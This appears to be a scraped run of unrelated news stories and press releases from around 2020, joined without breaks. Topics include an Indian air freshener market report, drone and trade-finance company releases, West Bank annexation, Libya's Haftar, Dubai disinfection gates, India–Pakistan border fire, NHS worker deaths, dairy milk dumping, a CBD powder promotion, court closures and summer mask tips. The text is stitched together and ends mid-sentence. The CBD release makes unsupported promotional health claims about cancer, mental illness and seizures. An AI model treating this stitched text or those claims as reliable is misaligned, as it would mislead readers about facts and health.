helicopter that crashed heralded for 'miracle' landing The crew of a Hagerstown-based helicopter and the juvenile patient they picked up in Chambersburg, Pa., are OK after a crash near Philadelphia. Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili. Market Reports on India Provides the Trending Market Research Report on India Room Air Freshener Market By Value, By Segment, By Product Type, By Sales Channel, By Company, By Brand, By Application, By Region, By Tier, Overview,2020- 2025under Consumer Goods Category. The report offers a collection of superior market research, market analysis, competitive intelligence and Market reports. The report titled India Room Air Freshener Market By Value, By Segment( Retail, Business To Business ), By Product Type( Sprays / Aerosol Air Fresheners, Electric or Plug-In Air Fresheners, Gel Air Fresheners Candle Air Fresheners, Liquid Air Fresheners, Candle Etc ), By Sales Channel ( General Retail, Multi-Brand Retail, Online ), By Company, By Brand ( Odonil, Aer, Premium, Ambi Pur, Air Roma, Etc ), By Application ( Residential, Car, Commercial Buildings ), By Region, By Tier, Overview,2020- 2025 provides the in-depth analysis of the Indian room freshener market and its performance over the years. Air freshener in India has seen a noteworthy transformation, from a segment consisting of small, localized, unbranded players, and where traditional offerings like incense and dhoops held unrivaled monopoly in the air fragrances market to a fast-growing household accessories market, which is seeing an influx of new brands, huge investments, product innovations, and product category extensions. Rising urban as well as the youth population, heightened sense of having good quality air at homes/offices, easy availability of new products and innovations and an increase in disposable income of the Indian population are some of the major reasons that will assist in the growth of the market. Room Fresheners come in a variety of formats namely Aerosol/Spray, Gel, Electric (Plug-In) Diffuser, liquid diffuser, candles and many more. There is a large adaption of room fresheners over the years which have allowed number the major companies to shifting their focus to the home and commercial segments also to capture the immense market. This report provides you with the historical and forecasted performance of the market and profiles of top players in the market. Request a free sample copy of India Room Air Freshener Market Report http://www.marketreportsonindia.com/marketreports/sample/reports/2051675 Room Fresheners as the term suggests, are used in a persons living room, dining room, kitchen, corporate, etc. This has been a well-settled market with the products that reach to the large consumer base. The room air freshener have been proving strong foothold in the market with a growth CAGR of above 13% over the last couple of years. This is because the increased purchasing power, improvement in living standards, emphasis on aesthetics, and exposure to internationally available air care products has broadened the scope of room fresheners market in India. People nowadays are concerned about the quality of the air they breathe or live in. The scope of room air freshener market in India and wider consumer acceptance are perhaps the reason why all players are moving beyond conventional room fresheners and fragrances, and infusing a fresh fragrance in the air fresheners market with a gamut of scent selections and product innovations. Room Fresheners are more than just fragrance products be it home or office it has bigger emotional connotations where the consumers see themselves as taking better care of their surroundings, hence the category has a lot of potential for deep penetration in these years. The residential section is one of room air freshener segment includes the products of home excluding the bathroom and kitchen. Aerosols, liquid, gel, electric/automatic, candle, etc as room fresheners products. These products are easily available through general retail such they have their presence widely in every corner of the residential area. Corporates, Hotels, malls, hospitals, railways, public bathrooms, theatres, gov. buildings & institution are the main consumers of business to the business room air freshener market. Electric/automatic sprays, reed diffuser oil, refill sprays, etc. are mostly used in this section. Both these sectors have been constantly growing without any description over the last couple of years and have seen huge consumer adaption. Major Companies: The companies have been developing themselves with a lot of many innovations and giving tough competition to each other. Odonil the brand of Dabur India Limited, Aer the brand of Godrej, Air wick the brand of Reckitt Benckiser (India) Private Limited, J.K. Helene Curtis Limited with its premium brand, Ambipur the brand of Procter & Gamble Home Products Private Limited have its huge presence in the market. Considered in this report: Geography: India & Global Base Year: FY 2018-19 Estimated Year: FY 2019-20 Forecast Year: FY 2024-25 Objective of the report: To give detailed overview of Indian Room Air freshener market To provide the market size and the forecast of India Room Air Freshener market To provide key details on retail and business to business segment of the market Markets share of the Room air freshener market Profile of leading players in Indian Room air freshener market Scope of the report Global Air Freshener Market Outlook Market size and forecast India Air Freshener Market Outlook India Air Freshener Market Size By Value and Forecast India Retail Air Car Air Freshener Market Size By Value And Forecast India Business To Business Air Care Market Car Air Freshener Market Size By Value And Forecast India Air Freshener Market Share By Company India Air Freshener Market Share By Region India Air Freshener Market Share By Product Type India Air Freshener Market Share By Application India Air Freshener Market Share Sales Channel India Air Freshener Market Share By Tier India Room Air Freshener Market Size By Value And Forecast India Retail Room Air Car Air Freshener Market Size By Value And Forecast India Business To Business Room Air Freshener Market Car Air Freshener Market Size By Value And Forecast India Room Air Freshener Market Share By Product Type India Room Air Freshener Market Share By Sales Channel India Room Air Freshener Market Share By Tier India Room Air Freshener Market Share By Company India Room Air Freshener Market Product Price & Variant Analysis By Product Company Profile Approach of the report: This report consists of combine approach of primary as well as secondary research. Initially secondary research was used in order to get the understanding of the market and listing out the companies that are present into the market. The secondary research consist of third party sources such as press release, annual report of companies, analysing the government generated reports and databases. After gathering the datas from secondary sources primary research was conducted by making telephonic interviews to the leading players about how the market is functioning and then conducted trade calls with dealers and distributors of the market. Post this we have started doing primary calls to consumers by equally segmenting consumers in regional aspects, tier aspects, age group and gender. Once we have primary data with us we have started verifying the details obtained from secondary sources. Intended audience: This report can be useful to Industry consultants, manufacturers, suppliers, associations & organizations related to Room air freshener industry, government bodies and other stakeholders to align their market-centric strategies. In addition to marketing & presentations, it will also increase competitive knowledge about the industry. Please get in touch with our sales team in order to find out more. Keywords: Global, India, Air, Air Freshener, Spray, Aerosol, Gel, Electric, Pocket, Block, Zipper, Candle, Retail, Business to business, Institutional, Car ,Room, Bathroom, Malls, Corporate, Home, Odonil, Aer, Camphor, Glade, Air wick, Dabur, Godrej, P&G, JK Helen, Ambi pur, premium Browse our full report with Table of Content : http://www.marketreportsonindia.com/marketreports/india-room-air-freshener-market-by-value-by-segment-by-product-type-by-sales-channel-by-company-by-brand-by-applic/2051675 About Market Reports on India: Market Reports on India is an excellent source to obtain top quality market research reports that helps you to understand the business in the Indian market. We cover various industries, identifying and understanding key macro and micro-economic trends, insights and futuristic growth opportunities. To help achieve all this and more, Market Reports on India is the answer to all your business needs. Contact us at: Market Reports on India Tel: +91 22 27810772 / 27810773 Email: info@marketreportsonindia.com Website: www.marketreportsonindia.com Follow us on: Twitter, Facebook, LinkedIn [April 28, 2020] Draganfly CEO Cameron Chell be Featured on Fox Business With Liz Claman Los Angeles, CA, April 28, 2020 (GLOBE NEWSWIRE) -- Draganfly Inc. (CSE: DFLY) (OTCQB: DFLYF) (FSE: 3U8) (Draganfly or the Company), an award-winning, industry-leading manufacturer within the commercial Unmanned Aerial Vehicle (UAV), Remotely Piloted Aircraft Systems (RPAS), and unmanned vehicle sector (UVS), announced today that the CEO of the Company, Cameron Chell, will be featured on Fox Business with Liz Claman. The segment on Fox Business will focus on Draganflys position as a North American based drone systems developer and recent announcement it has been selected as the exclusive global systems integrator for a project with Vital Intelligence Inc., a healthcare data services and deep learning company in conjunction with the University of South Australia, using technology developed with help from the Australian Department of Defence Science and Technology Group. I am super excited to share our story with Liz Claman on Fox Business, said Cameron Chell, CEO Draganfly. With the new North American security concerns around foreign manufacturing in this sector, our advanced capabilities and the post COVID-19 reality, new frontiers have opened up for Draganfly. We are a secure North American Drone solution and in conjunction with our partners, we are the first to be commercially implementing multiple new state-of-the-art technologies with the ability to provide real data that aids in thereopening of the economy and protecting human lives. Cameron Chells segment on Fox Business with Liz Claman will air at 320PM EST on Tuesday, April 28th. About Draganfly Draganfly Inc. (CSE: DFLY; OTCQB: DFLYF; FSE: 3U8) is the creator of quality, cutting-edge, UVS and software that revolutionizes the way people do business. Recognized as being at the forefront of technology for over 22 years, Draganfly is an award-winning, industry-leading manufacturer within the commercial UAV and UVS space, serving the public safety, agriculture, industrial inspections and mapping and surveying markets. Draganfly is a company driven by passion, ingenuity and the need to provide efficient solutions and first-class services to its customers around the world with the goal of saving time, money and lives. For more information on Draganfly, please visit us at www.draganfly.com . For additional investor information, visit https://www.thecse.com/en/listings/technology/draganfly-inc , https://www.otcmarkets.com/stock/DFLYF/overview or https://www.boerse-frankfurt.de/aktie/draganfly-inc . Media Contact Arian Hopkins email: [email protected] Company Contact Phone: 1-306-955-9907 Email: [email protected] [ Back To TMCnet.com's Homepage ] [April 27, 2020] Surecomp Sets the New Open Banking Standard for Trade Finance APIs and Gives Free Trial to Customers TORONTO, April 28, 2020 /PRNewswire/ -- Surecomp, the leading provider of global trade finance solutions for banks and corporates, today announced the opening of its Application Programming Interfaces (API) architecture to customers in a sandbox testing environment, setting the new open banking standard in the digitization of trade finance processing and connectivity. The APIsure service which is available to banks across the globe, is already being used by some of the largest banks in Europe for real-time processing of their bank guarantees and letters of credit. For existing customers, it can now be trialed, free of charge, in an API sandbox for a limited time period, to highlight the importance of digitized trade finance in the age of COVID-19. As a recognized industry pioneer, Surecomp was asked by major banks to lead the journey towards digital, open banking trade finance. Designed in full cooperation with the banks, APIsure ensures the highest standard of security, compliance, scalability, monitoring and transparency. It offers flexible and agile back-office connectivity, alongside an API management system (APM) and API sandbox. APIsure also includes a developer portal where partners can develop apps and services. Current APIs enabl productivity and efficiency as well as data analysis and visualization services. Future developments include advanced risk management, Robotic Process Automation (RPA), Know Your Customer (KYC) functionality and compliance. As a long-standing Surecomp customer across multiple geographies, one of the largest banks in Europe has been the first to go live with an API to Conpend, one of Surecomp's fintech partners providing trade finance document digitization services. This has significantly enhanced the efficiency of their operations while breaking down legacy barriers, improving the time-to-market of trade finance services to its customers and reducing the risk exposure of paper-based transactions. "With world-leading banks already onboard, we are confident our open banking architecture is a game-changer for trade finance processing," explains Tsafrir Attar, VP Digitization at Surecomp. "By providing our customers with the opportunity to trial API connectivity within the safety of the sandbox environment, we are proud to set the standard for real-time paperless connectivity and in turn promote enhanced growth, efficiency, customer satisfaction and collaboration for banks, corporates and fintech companies across the trade finance ecosystem." About Surecomp Surecomp is the leading global provider of innovative trade finance solutions for banks and corporations. A respected market pioneer for over thirty years, Surecomp delivers an integrated portfolio of trade finance, supply chain finance and treasury solutions, streamlining the transaction lifecycle to enhance operational efficiency, mitigate risk and maximize profit. With a global network of seven development and support centers in the US, Argentina, Chile, the UK, Germany, Israel and Singapore, Surecomp serves a prestigious customer base in over eighty countries across six continents. For more information visit surecomp.com/product/apisure. Surecomp Contact: Abby Bickford Director of Marketing Tel: +44-(0)7931-126616 Email: [email protected] SOURCE Surecomp [ Back To TMCnet.com's Homepage ] The United States said Monday it was ready to recognize Israel's annexation of much of the West Bank but asked the new unity government also to negotiate with the Palestinians. Prime Minister Benjamin Netanyahu, who has reached a power-sharing deal to remain in office after three inconclusive elections, has vowed to press ahead with annexations that the Palestinians say will shut the door to a two-state solution. A Middle East "vision" unveiled in January by US President Donald Trump gave a green light to annexations, but Netanyahu's coalition deal with centrist Benny Gantz said the cabinet would consult Washington before moving forward. "As we have made consistently clear, we are prepared to recognize Israeli actions to extend Israeli sovereignty and the application of Israeli law to areas of the West Bank that the vision foresees as being part of the State of Israel," a State Department spokesperson said. The step would be "in the context of the Government of Israel agreeing to negotiate with the Palestinians along the lines set forth in President Trump's Vision," she said. Trump, whose evangelical Christian base is staunchly pro-Israel, has granted a wish-list to Netanyahu over the past three years. His Middle East plan would let Israel annex Jewish settlements in the West Bank -- which the rest of the world considers illegal -- and exert sovereignty all the way to Jordan. The Palestinians would be granted a sovereign but demilitarized state along with promises of major investment. The Palestinian state's capital would be on the outskirts of Jerusalem, the contested holy city which would remain fully under Israeli sovereignty. "This is an unprecedented and highly beneficial opportunity for the Palestinians," the State Department spokesperson said. The comments expand on remarks to reporters Wednesday by Secretary of State Mike Pompeo, who said annexation was ultimately "an Israeli decision." The Palestinians have refused to negotiate with the Trump administration, considering it biased, and the European Union has also criticized Trump's plan as failing to achieve a two-state solution. The Arab League plans to hold a virtual meeting this week to discuss the annexation plan, which under the Israeli coalition deal could happen as soon as July. Israeli Prime Minister Benjamin Netanyahu (left) and retired Israeli general Benny Gantz have reached a power-sharing deal that could lead to annexation of much of the West Bank Libyan eastern-based commander declared a key political deal was over, vowing to press his assault to seize Tripoli. Libyan eastern-based military commander Khalifa Haftar said on Monday he had a popular mandate to govern the country, declaring a key political deal was over as he vowed to press his assault to seize the capital, Tripoli. The 76-year-old leader of the self-styled Libyan National Army (LNA) dismissed the 2015 United Nations-brokered agreement to unite the country as a thing of the past. In a televised address, he also pledged to create a new government. The announcement came two weeks after forces loyal to the internationally recognised Government of National Accord (GNA) in Tripoli expelled Haftars troops from several key cities in the countrys west. World powers have reacted with alarm to Haftars latest announcement, fearful that the move could see the country, already mired in conflict since the 2011 overthrow of longtime ruler Muammar Gaddafi, plunge into further chaos. Libyas GNA Libyas UN-recognised government accused Haftar of seeking to stage a new coup. Its a farce and the latest in a long series of coups detat, the GNA said in a statement on Tuesday. What the war criminal Haftar said was a coup on the democratic path, not new but a continuation of his failed coups and to cover up his repeated defeats. It said that Haftar turned his back on the parallel political institutions that backed him and designated him as head of the army. The Tripoli-based government urged Libyans to join a comprehensive dialogue and continue in the democratic path to reach a comprehensive and permanent solution based on ballot boxes. European Union Peter Stano, the EUs spokesperson for foreign affairs and security policy, dismissed Haftars move as unacceptable, stressing that it would never provide a sustainable solution to the countrys crisis. Any attempt to push forward a unilateral solution, even more by force, will never provide a sustainable solution for the country. Such attempts cant be accepted, Stano said, adding that the 2015 Skhirat agreement signed under UN auspices remains the viable framework for a political solution in Libya until amendments or replacements are found. The agreement, signed in Morocco following the emergence of two centres of power, set up the GNA in Tripoli to manage the transition process in Libya while acknowledging the Tobruk-based House of Representatives as the countrys official legislature. Russia Russias Foreign Minister Sergey Lavrov told reporters on Tuesday that his country rejected the GNAs refusal to engage with Haftar as well as the latters unilateral move to usurp power. We did not support the recent statement by [GNA head Fayez al-Sarraj] Sarraj, who refused to talk to Marshal Haftar, and we do not support the statement that now Marshal Haftar will decide unilaterally the way for the Libyan people to live, said Lavrov. Neither of these factors helps to find a stable compromise, without which it is impossible to get out of this crisis. Germany Berlin also expressed concern about Haftars termination of the power-sharing agreement. In the German governments view, the conflict in Libya cannot be solved militarily and not through unilateral declarations either, but only through a political process with the participation of all regions and ethnic groups, a Foreign Ministry source, speaking on condition of anonymity, was quoted as saying by dpa news agency on Tuesday. For this, a ceasefire is first of all urgently needed. GNA-aligned forces in the Salahaddin neighbourhood south of the capital, Tripoli [Amru Salahuddien/Anadolu] United States Washington regretted Haftars unilateral declaration, calling for dialogue between the two sides and a humanitarian truce in light of the new coronavirus. The United States regrets commander Haftars suggestion that changes to Libyas political structure can be imposed by unilateral declaration, a statement on its embassys Twitter account said. As civilians continue to suffer during the holy month of Ramadan and the COVID-19 pandemic threatens more lives, we urge the LNA to join the Government of National Accord in declaring an immediate humanitarian cessation of hostilities. By Associated Press DUBAI: In a Dubai industrial park, workers weld, drill and build what one entrepreneur sees as key to the near future of this desert city-state amid the coronavirus pandemic: disinfection gates. Husam Zammar's company builds such gates for government and commercial clients. He believes the new safety measures will find wide acceptance, just as metal detectors did after the 9/11 terror attacks. "If we consider two people, one has a knife and one has coronavirus, the second one is a hundred times dangerous than the first one," he said. Fear of the virus is palpable in Dubai and elsewhere in the the United Arab Emirates, a federation of seven sheikhdoms where foreigners make up 90% of the population. Yet even as confirmed coronavirus cases spike, the UAE is opening up its cavernous malls and restaurants in a gamble to stimulate its economy while still trying to fight off the pandemic. That's led to a new normal here of temperature checks, social distancing monitors at supermarkets and marked-off empty seats on the city's driverless Metro. But crowds already have come to the malls and others are leaving their homes after weeks of a lockdown, eager to party in a city known for its nightlife and increasing the risk of the virus spreading. In lifting more stringent restrictions, the UAE cited the holy Muslim fasting month of Ramadan, which began late last week. Dubai also lifted a weekslong quarantine order on a neighborhood along the Dubai Creek that's home to many low-wage workers late Sunday, saying it had detected no new coronavirus cases there for two days. But the detection rate for cases continues to spike due to mass testing. Authorities say more than 1 million tests have been administered a number expected to rise. On Monday, Abu Dhabi's Department of Economic Development ordered companies outside of free zones to test all their employees. So far, the UAE has reported over 10,839 confirmed cases of the virus with 82 deaths. Recent days have seen numbers rise around 500 daily, in part as the testing reaches the UAE's population of low-paid laborers, who remain particularly at risk as they can live with up to 10 people in a single room like in other Gulf Arab countries. The UAE isn't yet like Wuhan, China, from which the first cases of the virus emerged. There, biosecurity checkpoints are everywhere that spray people with disinfectant or have them walk through a box of grey decontaminant gas like an airlock. Similar gates or tunnels have been constructed in Bosnia and Herzegovina, Turkey, Kenya and elsewhere, aimed at killing traces of the virus on people's clothes or their body. Hoping to fill an anticipated demand in the UAE, Zammar's firm Guard ME constructs the gates out of metal frames, galvanized steel and temperature-checking equipment from China. Someone trying to enter a business or office with such a gate first must undergo a temperature check, then walk through a fog of disinfectant created ultrasonically. While that won't detect an asymptomatic carrier of the coronavirus, it still will offer people peace of mind, said Zammar, a Syrian entrepreneur based in Dubai. "In the next two or three months, we will (feel) that if they didn't check your temperature, there is some problem in this building," he said. In all of China, each person also has a "health code" that uses geolocation and other mobile phone data to assign an infection risk by color, with red resulting in a 14-day, closely monitored quarantine. In the UAE, such mobile phone apps remain voluntary. However, images from Zammar's gate or a helmet-based temperature checker now used by Dubai police could be fed into a facial-recognition database. The UAE already has such a database from its national ID card system, which residents use for fast immigration clearance at Dubai International Airport. That fuels worries about privacy and surveillance in the UAE, which has been internationally criticized for targeting journalists and human rights activists and was linked to a suspected spying app. Still, the country is slowly opening up as people in masks and gloves now go to the mall. Barber shops have also reopened, with scissors and hair clipper attachments individually sterilized and wrapped like surgical tools. What this all means for Dubai's nightlife and bar scene, a crucial economic driver, remains in question. A famed Irish bar chain in the city-state called McGettigan's quietly opened its main location in Dubai's Jumeirah Lakes Towers neighborhood on Friday, but soon saw a line of people queuing up to enter. The bar closed early, before a 10 p.m. nightly curfew. And like other bars in Dubai, it hasn't been serving alcohol since the 24-hour, police-enforced lockdown lifted. Signs out front tell customers that masks "must be appropriately worn at all times." The company told The Associated Press in a statement that it's complying with the guidance from local authorities. "The health and safety of our customers is the priority, from temperature checks to social distancing of tables, sanitization of the venue and all other regulations," it said. One Killed, Another Injured as India, Pakistan Engage in Massive Firefight at Border Sputnik News 12:42 GMT 27.04.2020(updated 13:41 GMT 27.04.2020) New Delhi (Sputnik): India and Pakistan have long been loggerheads over the disputed territory of Kashmir with numerous instances of firefights and shelling, but the situation escalated in 2019 after dozens of Indian soldiers were killed in a vehicle-borne suicide bombing attack in Pulwama district. A spokesman for the Pakistan Armed Forces, Major General Babar Iftikhar, has accused India of deliberately targeting civilians on 27 April. According to Iftikhar, a woman died and an eight-year-old sustained injuries "in unprovoked ceasefire violations" by Indian troops in the Jandrot and Khuiratta Sectors along the Line of Control on Pakistan's side of Kashmir. However, the Indian Army retaliated by accusing Pakistani troops of firing in the Hajipeer and Uri sectors in the Baramulla district of Jammu and Kashmir. The army stated that unprovoked firing started in the late afternoon. India and Pakistan have been engaged in repeated cross-border firing since the start of the month, which has killed at least half a dozen civilians from both sides and left dozens more injured. Pakistan has alleged that India has violated the ceasefire about 805 times this year while India has claimed that Islamabad has initiated cross-border fire around 900 times. Kashmir has been a bone of contention between the two nuclear-armed nations since independence from British rule in 1947. The two countries have fought three wars over the territory, which is currently divided by the line of control (de-facto border). Bilateral relations between the two neighbours dipped to a fresh low when India revoked Kashmir's special status in August 2019. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address The UK will come together on Tuesday for a minute's silence in the honour of hundreds of healthcare and other workers who have lost their lives on the frontline of the coronavirus fightback across the country. British Prime Minister Boris Johnson will lead the tributes for the National Health Service (NHS) and other key workers across care homes and public transport at 1100 AM local time (1530 PM IST). So far 82 NHS staff are known to have died after testing positive for the coronavirus, including many with their roots in India. The Indian-origin Chief People Officer at the NHS, Prerana Issar, said that the NHS England is considering how to formally commemorate all those who have died while working to care for others once the state-funded health service is through the peak of the virus. The NHS family will come together to pay tribute to all those across the health and care sector who have lost their lives to coronavirus, said Issar. Everyone of them, whatever job they were doing, were making a difference and helping others. That's why we will be joining this nationwide moment to remember those we have lost, and honouring all that they did for us, she said. The tribute comes as the government announced a new time-bound insurance scheme for the families of such public sector healthcare workers who lost their lives while on duty during the pandemic, with a 60,000 pounds Life Assurance Scheme. Financial worries should be the last thing on the minds of their families so in recognition of these unprecedented circumstances we are expanding financial protection to the NHS and social care workers delivering publicly funded care on the frontline, said UK Health Secretary Matt Hancock. Nothing can make up for the tragic loss of a loved one during this pandemic. We owe a huge debt to those who die in service to our nation and are doing everything we can to protect them. We will continue to strive night and day to provide them with the support and protection they need and deserve to keep them safe as they work tirelessly to save lives, he said. He said that bereaved family members will receive a 60,000 pounds lump sum, worth roughly twice the average pensionable pay for the NHS staff, with the cost met by the government. This will cover full, part-time or locum NHS and public health workers, including general practitioners (GPs), dentists, retired staff and second and final year students taking up paid frontline roles. While the details of the scheme are yet to be finalised, it is expected that overseas doctors from countries such as India should also be eligible for this compensation covering their families who may be based in the countries of their origin. The scheme is aimed at those who die from coronavirus during the course of their essential and lifesaving work. This includes those providing direct care as well as cleaners and porters who continue to carry out vital duties in these care environments. The British Medical Association (BMA), the doctors' union lobbying for such a death in service protection, welcomed the new scheme but called for more details to ensure it goes far enough. Whilst this single payment may seem a sizeable sum, it comes nowhere near compensating families for the lifetime income their loved one may have earned if they hadn't died prematurely, fighting this crisis on the frontline. This is particularly true for young or recently qualified staff, said Dr Vishal Sharma, BMA Pensions Committee Chair. Increasing numbers of families are dealing with the loss of a loved one as the death toll for frontline workers rises, they should not also face a future without financial security. The BMA will be examining closely the detail of the government's Life Assurance Scheme, he added. The coronavirus cases in the UK has reached 158,348 while 21,092 people have died, according to Johns Hopkins University tracker. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Weve heard the stories of milk being dumped in pockets of the country as processors reach their capacities because of the drastic change in demand from COVID-19. Some processing changes are being made to divert milk to other channels, such as food banks, and free up facility space, but still some dairy farmers are being asked or simply required to reduce their milk production a quite unusual circumstance for an industry that continues to improve production and efficiency in order to feed a growing population. What strategies can dairymen and dairywomen implement to meet these production restraints? That will be the discussion during the next DairyLivestream broadcast on Wednesday, April 29 at 11 a.m. (CDT). Special guests for the episode will be Cornell Universitys Jason Karszes and the University of Illinois Michael Hutjens. They will join weekly DairyLivestream commentators Mark Stephenson, Chris Wolf, and Corey Geiger. This week, Hutjens will explain the potential for immediate nutrition adjustments, while Karszes will detail some comprehensive farm management ideas. From the business side, Wolf will dig into short- and long-term expense strategies, and Stephenson will discuss regional issues and considerations for co-ops. Register for the web meeting event and email reminders here. If youve signed up for previous DairyLivestreams, you are already registered for this and future events. The presentation portion of the broadcast will last approximately 30 minutes, then the panelists will answer audience questions. You may submit questions ahead of time by sending them to livestream@hoards.com. An ongoing series of events Archive presentations of the previous two DairyLivestream broadcasts are also available. The April 15 conversation focused on effects of milk dumping on the markets, and the April 22 event discussed how producer organizations and USDA are diverting dairy products to where it can be used. The broadcasts will continue to dissect various aspects of the dairy markets over the coming weeks. Join us each Wednesday at 11 a.m. (CDT) to hear from dairy leaders and experts. Are you a current print subscriber? You qualify for online access to the Omak Chronicle. To receive your access, create a website account and then verify your print subscription or e-edition subscription with your subscriber number, which may be found on your bill or mailing label. Right now, there is minimal research on CBDA and we have the power to change this. When analyzed in a leading lab, Vero Naturals gCBD powder showed CBDA as the most potent cannabinoid. Vero Naturals, an innovative business to business ingredient provider of the worlds first Nano green cannabinoids also known as gCBD, has announced it will provide any interested brands or organizations with free gCBD to conduct case studies. The initiative has launched in order to help further demonstrate the effectiveness of CBD and the hemp plants various helpful compounds, such as cannabidiolic acid (CBDA), which is profoundly present in gCBD. CBDA is one of the most powerful and effective cannabinoids that is naturally produced in the cannabis plant and has been found to be 1,000 times more potent than CBD in reducing acute nausea. CBD comes from CBDA as it is a precursor for the compound and it is only turned into CBD if the plant is exposed to a chemical process known as decarboxylation. Unfortunately, extraction processes including CO2 that most companies currently utilize decarboxylate the CBDA into CBD. These extraction processes lead to capturing only a portion of the plants more than 500 compounds thereby rendering them unable to provide the powerful Natural Entourage Effect that is delivered by the original plant. This means, when case studies are conducted using a non-gCBD product, they are not utilizing the plant to its full potential. Vero Naturals patented Particle Reduction Process does not decarboxylate the cannabinoids nor use chemicals or CO2, to turn the hemp plant into an ultra-fine green powder that houses a multitude of beneficial compounds, including CBDA plus other cannabinoids and terpenes that are typically lost during most extraction processes. The particle reduction process ensures the powder has a maximum bioavailability for increased metabolic absorption and effectiveness. Vero Naturals gCBD is the whole plant in powder form containing Nano sized particles, which is something no other CBD company can offer. It provides the end consumer with more benefits than traditional CBD oil, balm or isolate. Furthermore, the particle reduction process results in the most effective, 100 percent Natural Entourage Effect possible. Vero was born to move the cannabis industry forward and through this initiative, I believe we can do just that, said Vero Naturals President and Co-founder, Rory Millikin. Right now, there is minimal research on CBDA and we have the power to change this. When analyzed in a leading lab, Vero Naturals gCBD powder showed CBDA as the most potent cannabinoid. Up until Veros gCBD was recently commercially released, it was very difficult to obtain CBDA in any kind of quantity thus there is an unfortunately low amount of research and trials on this incredible acidic that was discovered by the Godfather of Cannabis, professor Raphael Mechoulam of Hebrew University, Jerusalem. However, each study that has been conducted shows incredibly promising results. We feel confident that by providing those interested in conducting case studies on CBD and/or CBDA with free gCBD, we can make a difference in millions of lives. Studies have found that CBDA doesnt simply interact with the endocannabinoid system, it works by inhibiting the cyclooxygenase-2 (COX-2) enzyme, which is associated with inflammation. Additional studies found that CBDA might influence serotonin-related 5-hydroxytryptamine (5-HT) receptors, which is an important discovery for cancer patients, individuals with mental health disorders, those prone to epileptic seizures, and more. Millikin continued, This is the ideal time for brands to do right by their customers by dedicating time to researching the best quality ingredients that are not only effective but are clean. Additionally, research organizations can utilize our free gCBD to elevate their studies and have the potential to change the world through their findings. This is a unique time we are living in, but one thing that stays constant is the need for impactful discoveries that might lead to amazing products. Leading CBD expert, Harvard University graduate, author and former United States Army Medic, Dr. Gregory Smith said, I have utilized gCBD in various case studies and can confidently say that there is nothing else on the market that compares in quality, wholeness, effectiveness and bioavailability. The current studies on CBDA are incredibly promising and if the discoveries hold true, this compound that is found extensively in Veros gCBD truly can make an impact on many lives. Vero Naturals Green CBD is currently used in popular consumer brands such as Kopari Beauty which is available at Ulta nationwide and has already seen large success and outstanding feedback from customers that entrust the products and brands to offer them unique products made with real ingredients like Vero Naturals. Brands interested in partnering with Vero Naturals to create their clinical trial are invited to get in touch with Rory Millikin at rory@veronaturals.com. Limited quantities of free gCBD are available and the amount will be determined upon consultation. For more information on Vero Naturals please visit http://www.veronaturals.com. ### About Vero Naturals Vero Naturals is an ingredient supplier to brands that has created the first B2B green Nano CBD Powder and Liposomes in the market. Vero Naturals has both patents issued and over 20 pending in a multitude of sectors within the cannabis industry. For more information, please visit http://www.veronaturals.com Lake County judges will not hear any jury trials in May, Lake Superior Court Chief Judge John Sedia said. The Indiana Supreme Court last week extended its order granting relief to lower courts during the coronavirus pandemic and required judges to seek permission if they planned to resume jury trials before June 1. Jury trials previously had been scheduled to resume no later than May 4. The county's courts have responded appropriately to the pandemic, Sedia said. "Electronic filings by litigants and their attorneys continue, as do electronic orders setting matters for hearings in the future and entering orders on motions not requiring hearings," he said. The Supreme Court also issued an order last week authorizing courts to livestream open proceedings on YouTube or other public platforms. Judges must instruct viewers not to record, and the proceedings cannot be provided for playback. Sedia said he's been working with the county data department to expedite installation of Zoom in all courts. Lake County courts must submit a plan to the Supreme Court by May 18 detailing how operations will be expanded. Kristina Morgan posed for a portrait outside of her home in South Philadelphia, Pa. on Thursday, April 2, 2020. Morgan was recently laid off from her bartending job at Crybaby Pasta. In her spare time she has been sewing protective face masks. Read more As anyone whos spent time under a mask recently can tell you, the practice isnt often enjoyable. And in the hot weather, face masks could become particularly sweaty and uncomfortable. Philadelphia summers are tough, said Nicole Jochym, a third-year medical student at Cooper Medical School at Rowan University who works with the Sew Face Masks Philadelphia organization. Even if youre fully vaccinated, the City of Philadelphia and the Centers for Disease Control and Prevention (CDC) both recommend wearing masks indoors in many cases, because of rising cases connected to the delta variant of COVID-19. But even if you dont have to wear them outside, warm weather can make mask wearing uncomfortable. Luckily there are some strategies to make it more bearable. READ MORE: Stop wearing your mask wrong Here is what you need to know: Choose your material Wearing a mask can be hot and make breathing feel more difficult. With that in mind, make sure your mask is reasonably breathable to help both increase comfort and decrease the impulse to touch the mask to adjust it. You want a breathable fabric, Jochym said. Her recommendation: Using a mask that is made from 100% cotton. According to the CDC, good options include woven cotton sheets and T-shirt fabric. While cotton isnt moisture-wicking, she said, its more breathable than synthetic fabrics like polyester, and it could make masks more comfortable in the heat. Avoid filters, Jochym adds, because they are often made from synthetic materials, and can make masks hotter and harder to breathe through. READ MORE: When to replace your fabric face masks Check the fit Your mask should be somewhat snug on your face, but you dont want it to be so tight that its uncomfortable or difficult to breathe through. To solve that issue, said Carrie L. Kovarik, an associate professor of dermatology at the Hospital of the University of Pennsylvania, try out different masks, or use one that has adjustable ties. A tie mask probably would be better. Elastic straps can be irritating behind the ear," she said. Dont put it on so tight that you cant breathe. Jochym seconds that, saying that Sew Face Masks Philadelphia encourages using ties because they are adjustable. Every face shape is different, she adds; ties have the potential for a better, more comfortable fit. Bring extras Cloth masks, the Pennsylvania Department of Health has noted, should not be worn when they become damp or wet, which could cause issues in the summer, when were all sweating more heavily. Because cotton masks will absorb sweat when you wear them, Jochym said, it is important to have several clean ones available to use. In Philadelphias hot and humid summers, it could be difficult to get around with just one, she said. You have to be able to switch it out as it gets damp on the inside. READ MORE: How to clean your fabric face mask Limit how long you wear one If hot weather makes wearing a mask uncomfortable, try to limit the amount of time you need to wear one. Think about when wearing a mask is necessary, and not wearing one when it is not needed, Kovarik said. And do not wear your mask off your nose. Take care of your skin Hot summer weather can cause moisture to build up under a mask, which can irritate your skin (similar to a diaper rash) Kovarik said. That problem, however, may be less common for people wearing cloth masks compared to health-care workers wearing less-breathable surgical or N95 masks. In hot weather, you will have a lot of moisture under there, and the skin can break down a little more, she said. Moisture from breath or heat builds up, and you can get a rash. If your skin does become irritated due to using a mask, Kovarik recommends using a noncomedogenic (non-pore-blocking) moisturizer and avoid products like petroleum jelly. Apply your preferred salve after wearing a mask to 